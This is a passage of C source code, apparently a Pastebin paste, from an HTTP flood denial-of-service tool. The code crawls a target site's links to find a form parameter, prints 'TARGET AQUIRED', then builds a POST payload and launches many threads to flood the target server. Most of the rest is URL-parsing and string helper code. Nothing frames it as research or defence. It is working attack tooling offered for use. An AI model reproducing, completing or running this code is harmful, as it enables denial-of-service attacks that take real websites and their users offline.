  672.                             strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  673.                             char *tmp = malloc(strlen(original_domain)+2);
  674.                             bzero(tmp, strlen(original_domain)+2);
  675.                             sprintf(tmp, "%s/", original_domain);
  676.                             char *tmp2 = malloc(strlen(original_domain)+3);
  677.                             bzero(tmp2, strlen(original_domain)+3);
  678.                             sprintf(tmp2, "%s//", original_domain);
  679.                             char *targeturl_tmp = str_replace(targeturl, tmp2, tmp);
  680.                             if(targeturl_tmp != NULL)
  681.                             {
  682.                                 free(targeturl);
  683.                                 targeturl = targeturl_tmp;
  684.                             }
  685.                             free(tmp);
  686.                             free(tmp2);
  687.                         }
  688.                         freeparts();
  689.                         free(headerstatus);
  690.                         free(buffer);
  691.                         printf("TARGET AQUIRED: %s, %s\n", targeturl, targetparameter);
  692.                         goto END;
  693.                     }
  694.                 }
  695. NOTRIGHT:
  696.                 continue;
  697.             }
  698.             char *link = body;
  699.             while((link = stristr(link, "<a ")) != NULL)
  700.             {
  701.                 link = link+3;
  702.                 char *href = stristr(link, "href=");
  703.                 if(href == NULL || href > stristr(link, ">"))
  704.                 {
  705.                     continue;
  706.                 }
  707.                 href = href + 5;
  708.                 char *hrefstart = href;
  709.                 char *hreftarget;
  710.                 if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"'))
  711.                 {
  712.                     hrefstart = strchr(hrefstart, '"')+1;
  713.                     hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1);
  714.                     bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1);
  715.                     strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart);
  716.                 } else if(strchr(hrefstart, '\'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '\''))
  717.                 {
  718.                     hrefstart = strchr(hrefstart, '\'')+1;
  719.                     hreftarget = malloc(strchr(hrefstart, '\'') - hrefstart + 1);
  720.                     bzero(hreftarget, strchr(hrefstart, '\'') - hrefstart + 1);
  721.                     strncpy(hreftarget, hrefstart, strchr(hrefstart, '\'') - hrefstart);
  722.                 } else {
  723.                     char *end = NULL;
  724.                     if(strchr(hrefstart, ' ') > strchr(hrefstart, '>'))
  725.                     {
  726.                         end = strchr(hrefstart, '>');
  727.                     } else {
  728.                         end = strchr(hrefstart, ' ');
  729.                     }
  730.                     hreftarget = malloc(end - hrefstart + 1);
  731.                     bzero(hreftarget, end - hrefstart + 1);
  732.                     strncpy(hreftarget, hrefstart, end - hrefstart);
  733.                 }
  734.                 if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL)
  735.                 {
  736.                     free(hreftarget);
  737.                     continue;
  738.                 }
  739.                 char *scrapenext;
  740.                 setupparts();
  741.                 parseURL(hreftarget, returnparts);
  742.                 if(!(*(returnparts[path]->value)))
  743.                 {
  744.                     freeparts();
  745.                     continue;
  746.                 }
  747.                 if(*(returnparts[host]->value))
  748.                 {
  749.                     if(strcmp(returnparts[host]->value, original_domain) != 0)
  750.                     {
  751.                         freeparts();
  752.                         continue;
  753.                     }
  754.                     scrapenext = hreftarget;
  755.                 } else {
  756.                     scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  757.                     bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  758.                     strcpy(scrapenext, "http://");
  759.                     strcpy(scrapenext + 7, original_domain);
  760.                     strcpy(scrapenext + 7 + strlen(original_domain), "/");
  761.                     strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  762.                     char *tmp = malloc(strlen(original_domain)+2);
  763.                     bzero(tmp, strlen(original_domain)+2);
  764.                     sprintf(tmp, "%s/", original_domain);
  765.                     char *tmp2 = malloc(strlen(original_domain)+3);
  766.                     bzero(tmp2, strlen(original_domain)+3);
  767.                     sprintf(tmp2, "%s//", original_domain);
  768.                     char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp);
  769.                     if(scrapenext_tmp != NULL)
  770.                     {
  771.                         free(scrapenext);
  772.                         scrapenext = scrapenext_tmp;
  773.                     }
  774.                     free(tmp);
  775.                     free(tmp2);
  776.                 }
  777.                 freeparts();
  778.                 int alreadyadded = 0;
  779.                 if(headurl->next == headurl)
  780.                 {
  781.                     if(strcmp(headurl->url, scrapenext) == 0)
  782.                     {
  783.                         alreadyadded = 1;
  784.                     }
  785.                 } else {
  786.                     struct urllist *dup = headurl->next;
  787.                     while(dup != headurl)
  788.                     {
  789.                         if(dup->url == NULL)
  790.                         {
  791.                             dup->prev->next = dup->next;
  792.                             dup->next->prev = dup->prev;
  793.                             dup = dup->next;
  794.                             continue;
  795.                         }
  796.                         if(strcmp(dup->url, scrapenext) == 0)
  797.                         {
  798.                             alreadyadded = 1;
  799.                             break;
  800.                         }
  801.                         dup = dup->next;
  802.                     }
  803.                 }
  804.                 if(alreadyadded == 0)
  805.                 {
  806.                     struct urllist *newurl = malloc(sizeof(struct urllist));
  807.                     bzero(newurl, sizeof(struct urllist));
  808.                     newurl->url = scrapenext;
  809.                     newurl->done = 0;
  810.                     newurl->next = headurl->next;
  811.                     newurl->prev = headurl;
  812.                     headurl->next = newurl;
  813.                 }
  814.             }
  815.             headurl->done = 1;
  816.             headurl = headurl->next;
  817.             free(headerstatus);
  818.             free(buffer);
  819.         }
  820. END:
  821.         free(original_domain);
  822.     } else {
  823.         freeparts();
  824.     }
  825.     setupparts();
  826.     parseURL(targeturl, returnparts);
  827.     pthread_t thread[num_threads];
  828.     struct list *td[num_threads];
  829.     struct list *node = head->next;
  830.    
  831.    
  832.     for(i=0;i<num_threads;i++)
  833.     {
  834.         td[i] = node;
  835.         node = node->next;
  836.     }
  837.     postpayload = malloc(4096);
  838.     sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter);
  839.     freeparts();
  840.    
  841.     //fprintf(stdout, "Starting Flood...\n");
  842.    
  843.     fnAttackInformation(atoi(argv[argc-1]));
  844.    
  845.     for(i = 0;i<num_threads;i++){
  846.         pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  847.     }
  848.     sleep(atoi(argv[5]));
  849.     return 0;
  850. }
  851. char *geturl(char *url, char *useragent, char *ip)
  852. {
  853. RETRY:
  854.     setupparts();
  855.     parseURL(url, returnparts);
  856.     struct sockaddr_in serverAddr;
  857.     bzero(&serverAddr, sizeof(serverAddr));
  858.     serverAddr.sin_family = AF_INET;
  859.     serverAddr.sin_port = htons(ATTACKPORT);
  860.     serverAddr.sin_addr.s_addr = inet_addr(ip);
  861.     int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  862.     unsigned int yes = 1;
  863.     setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  864.     if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  865.     {
  866.         printf("GETURL CONNECT FAILED, RETRYING\n");
  867.         close(serverSocket);
  868.         freeparts();
  869.         goto RETRY;
  870.     }
  871.     int bytes = 0;
  872.     char *payload = malloc(8094);
  873.     bzero(payload, 8094);
  874.     sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  875.     freeparts();
  876.     bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  877.     if(bytes == -1)
  878.     {
  879.         printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  880.         close(serverSocket);
  881.         goto RETRY;
  882.     }
  883.     int total = 0;
  884.     int currentsize = 4096;
  885.     char *buffer = malloc(4096);
  886.     bzero(buffer, 4096);
  887.     bytes = recv(serverSocket, buffer, 4096, 0);
  888.     while(bytes > 0)
  889.     {
  890.         total += bytes;
  891.         if(total+4096 > currentsize)
  892.         {
  893.             char *new_buffer = malloc(total+4096);
  894.             bzero(new_buffer, total+4096);
  895.             memcpy(new_buffer, buffer, total);
  896.             free(buffer);
  897.             buffer = new_buffer;
  898.             currentsize = total+4096;
  899.         }
  900.         bytes = recv(serverSocket, buffer+total, 4096, 0);
  901.     }
  902.     return buffer;
  903. }
  904. void freeparts()
  905. {
  906.     return;
  907.     if(returnparts[0]!=NULL) { free(returnparts[0]); }
  908.     if(returnparts[1]!=NULL) { free(returnparts[1]); }
  909.     if(returnparts[2]!=NULL) { free(returnparts[2]); }
  910.     if(returnparts[3]!=NULL) { free(returnparts[3]); }
  911.     if(returnparts[4]!=NULL) { free(returnparts[4]); }
  912.     if(returnparts[5]!=NULL) { free(returnparts[5]); }
  913.     if(returnparts[6]!=NULL) { free(returnparts[6]); }
  914.     if(returnparts[7]!=NULL) { free(returnparts[7]); }
  915.     if(returnparts[8]!=NULL) { free(returnparts[8]); }
  916.     return;
  917. }
  918. void setupparts()
  919. {
  920.     returnparts[0] = malloc(sizeof(struct urlparts));
  921.     returnparts[1] = malloc(sizeof(struct urlparts));
  922.     returnparts[2] = malloc(sizeof(struct urlparts));
  923.     returnparts[3] = malloc(sizeof(struct urlparts));
  924.     returnparts[4] = malloc(sizeof(struct urlparts));
  925.     returnparts[5] = malloc(sizeof(struct urlparts));
  926.     returnparts[6] = malloc(sizeof(struct urlparts));
  927.     returnparts[7] = malloc(sizeof(struct urlparts));
  928.     returnparts[8] = malloc(sizeof(struct urlparts));
  929.     bzero(returnparts[0], sizeof(struct urlparts));
  930.     bzero(returnparts[1], sizeof(struct urlparts));
  931.     bzero(returnparts[2], sizeof(struct urlparts));
  932.     bzero(returnparts[3], sizeof(struct urlparts));
  933.     bzero(returnparts[4], sizeof(struct urlparts));
  934.     bzero(returnparts[5], sizeof(struct urlparts));
  935.     bzero(returnparts[6], sizeof(struct urlparts));
  936.     bzero(returnparts[7], sizeof(struct urlparts));
  937.     bzero(returnparts[8], sizeof(struct urlparts));
  938.     returnparts[0]->name = "scheme";
  939.     strcpy(returnparts[0]->separator, ":");
  940.     returnparts[1]->name = "userid";
  941.     strcpy(returnparts[1]->separator, "@");
  942.     returnparts[2]->name = "password";
  943.     strcpy(returnparts[2]->separator, ":");
  944.     returnparts[3]->name = "host";
  945.     strcpy(returnparts[3]->separator, "//");
  946.     returnparts[4]->name = "port";
  947.     strcpy(returnparts[4]->separator, ":");
  948.     returnparts[5]->name = "path";
  949.     strcpy(returnparts[5]->separator, "/");
  950.     returnparts[6]->name = "param";
  951.     strcpy(returnparts[6]->separator, ";");
  952.     returnparts[7]->name = "query";
  953.     strcpy(returnparts[7]->separator, "?");
  954.     returnparts[8]->name = "fragment";
  955.     strcpy(returnparts[8]->separator, "#");
  956.     return;
  957. }
  958. int parseURL(char *url, struct urlparts **returnpart) {
  959.     register i;
  960.     int seplen;
  961.     char * remainder;
  962.     char * regall = ":/;?#";
  963.     char * regpath = ":;?#";
  964.     char * regx;
  965.     if(!*url)
  966.     {
  967.         strcpy(parseError, "nothing to do!\n");
  968.         return 0;
  969.     }
  970.     if((remainder = malloc(strlen(url) + 1)) == NULL)
  971.     {
  972.         printf("cannot allocate memory\n");
  973.         exit(-1);
  974.     }
  975.     strcpy(remainder, url);
  976.     if(firstpunc(remainder) == ':')
  977.     {
  978.         strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  979.         strleft(remainder, 1);
  980.     }
  981.     if (!strcmp(returnpart[scheme]->value, "mailto"))
  982.     *(returnpart[host]->separator) = 0;
  983.     for(i = 0; i < NUMPARTS; i++)
  984.     {
  985.         if(!*remainder)
  986.         break;
  987.         if(i == scheme || i == userid || i == password)
  988.         continue;
  989.         if(i == host && strchr(remainder, '@'))
  990.         {
  991.             if(!strncmp(remainder, "//", 2))
  992.             strleft(remainder, 2);
  993.             strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  994.             strleft(remainder, 1);
  995.             if(strchr(remainder, '@'))
  996.             {
  997.                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  998.                 strleft(remainder, 1);
  999.             }
  1000.             *(returnpart[host]->separator) = 0;
  1001.         }
  1002.         if(i == path && (! *(returnpart[scheme]->value)))
  1003.         {
  1004.             *(returnpart[path]->separator) = 0;
  1005.             strcpy(returnpart[scheme]->value, "http");
  1006.         }
  1007.         regx = (i == path) ? regpath : regall ;
  1008.         seplen = strlen(returnpart[i]->separator);
  1009.         if(strncmp(remainder, returnpart[i]->separator, seplen))
  1010.         continue;
  1011.         else
  1012.         strleft(remainder, seplen);
  1013.         strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1014.     }
  1015.     if(*remainder)
  1016.     sprintf(parseError, "I don't understand '%s'", remainder);
  1017.     free(remainder);
  1018.     return 0;
  1019. }
  1020. char *str_replace(char *orig, char *rep, char *with) {
  1021.     char *result;
  1022.     char *ins;    
  1023.     char *tmp;    
  1024.     int len_rep;  
  1025.     int len_with;
  1026.     int len_front;
  1027.     int count;    
  1028.     if (!orig)
  1029.     return NULL;
  1030.     if (!rep || !(len_rep = strlen(rep)))
  1031.     return NULL;
  1032.     if (!(ins = strstr(orig, rep)))
  1033.     return NULL;
  1034.     if (!with)
  1035.     with = "";
  1036.     len_with = strlen(with);
  1037.     for (count = 0; tmp = strstr(ins, rep); ++count) {
  1038.         ins = tmp + len_rep;
  1039.     }
  1040.     tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1041.     if (!result)
  1042.     return NULL;
  1043.     while (count--) {
  1044.         ins = strstr(orig, rep);
  1045.         len_front = ins - orig;
  1046.         tmp = strncpy(tmp, orig, len_front) + len_front;
  1047.         tmp = strcpy(tmp, with) + len_with;
  1048.         orig += len_front + len_rep;
  1049.     }
  1050.     strcpy(tmp, orig);
  1051.     return result;
  1052. }
  1053. char *stristr(const char *String, const char *Pattern)
  1054. {
  1055.     char *pptr, *sptr, *start;
  1056.     uint slen, plen;
  1057.     for (start = (char *)String,
  1058.     pptr = (char *)Pattern,
  1059.     slen = strlen(String),
  1060.     plen = strlen(Pattern);
  1061.     slen >= plen;
  1062.     start++, slen--)
  1063.     {
  1064.        
  1065.         while (toupper(*start) != toupper(*Pattern))
  1066.         {
  1067.             start++;
  1068.             slen--;
  1069.            
  1070.             if (slen < plen)
  1071.             return(NULL);
  1072.         }
  1073.         sptr = start;
  1074.         pptr = (char *)Pattern;
  1075.         while (toupper(*sptr) == toupper(*pptr))
  1076.         {
  1077.             sptr++;
  1078.             pptr++;
  1079.            
  1080.             if ('\0' == *pptr)
  1081.             return (start);
  1082.         }
  1083.     }
  1084.     return(NULL);
  1085. }
  1086. char * strsplit(char * s, char * tok) {
  1087. #define OUTLEN (255)
  1088.     register i, j;
  1089.     static char out[OUTLEN + 1];
  1090.     for(i = 0; s[i] && i < OUTLEN; i++)
  1091.     {
  1092.         if(strchr(tok, s[i]))
  1093.         break;
  1094.         else
  1095.         out[i] = s[i];
  1096.     }
  1097.     out[i] = 0;
  1098.     if(i && s[i])
  1099.     {
  1100.         for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1101.         s[j] = 0;
  1102.     }
  1103.     else if (!s[i])
  1104.     *s = 0;
  1105.     return out;
  1106. }
  1107. char firstpunc(char * s) {
  1108.     while(*s++)
  1109.     if(!isalnum(*s)) return *s;
  1110.     return 0;
  1111. }
  1112. int strleft(char * s, int n) {
  1113.     int l;
  1114.     l = strlen(s);
  1115.     if(l < n)
  1116.     return -1;
  1117.     else if (l == n)
  1118.     *s = 0;
  1119.     memmove(s, s + n, l - n + 1);
  1120.     return n;
  1121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!